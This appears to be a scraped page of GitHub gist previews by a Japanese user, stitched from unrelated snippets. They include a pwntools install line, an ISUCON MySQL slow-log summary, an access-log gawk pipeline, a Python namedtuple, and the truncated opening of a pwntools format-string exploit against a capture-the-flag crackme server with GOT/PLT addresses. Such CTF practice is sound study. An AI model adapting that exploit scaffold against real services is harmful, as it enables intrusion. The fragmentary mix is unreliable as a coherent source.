公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
# 310ms user time, 10ms system time, 30.65M rss, 98.40M vsz | |
# Current date: Sun Sep 27 15:37:00 2015 | |
# Hostname: isucon01 | |
# Files: /var/lib/mysql/mysqld-slow.log | |
# Overall: 334 total, 17 unique, 0.48 QPS, 0.16x concurrency _____________ | |
# Time range: 2015-09-27 15:23:56 to 15:35:33 | |
# Attribute total min max avg 95% stddev median | |
# ============ ======= ======= ======= ======= ======= ======= ======= | |
# Exec time 114s 55ms 4s 343ms 945ms 354ms 253ms | |
# Lock time 295ms 30us 98ms 883us 159us 7ms 49us |
osc2016do-elixir.md |
公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
cat access_* | gawk -v FPAT='(\"[^\"]+\")' '{print $3}' | cut -d"(" -f2- | cut -d")" -f1 | sort | uniq -c | sort -gr | less |
from abc import ABC, ABCMeta, abstractmethod | |
from collections import namedtuple | |
from itertools import count | |
PayloadFactory = namedtuple('PayloadFactory', [ | |
'good', 'created', 'queued', 'unchanged', 'requires_auth', | |
'permission_denied', 'not_found', 'invalid', 'error' | |
]) | |
""" |
シーケンス図とかフローチャートをしごとで描画することになった場合、 テキストから生成できたら楽なので、それ系のツールまとめ
from pwn import * | |
from libformatstr import FormatStr | |
import time | |
s = remote('crackme.sakura.tductf.org', 10773) | |
read_secret = 0x0804875d | |
strlen_got = 0x8049138 | |
exit_got = 0x804912c | |
puts_plt = 0x8048580 |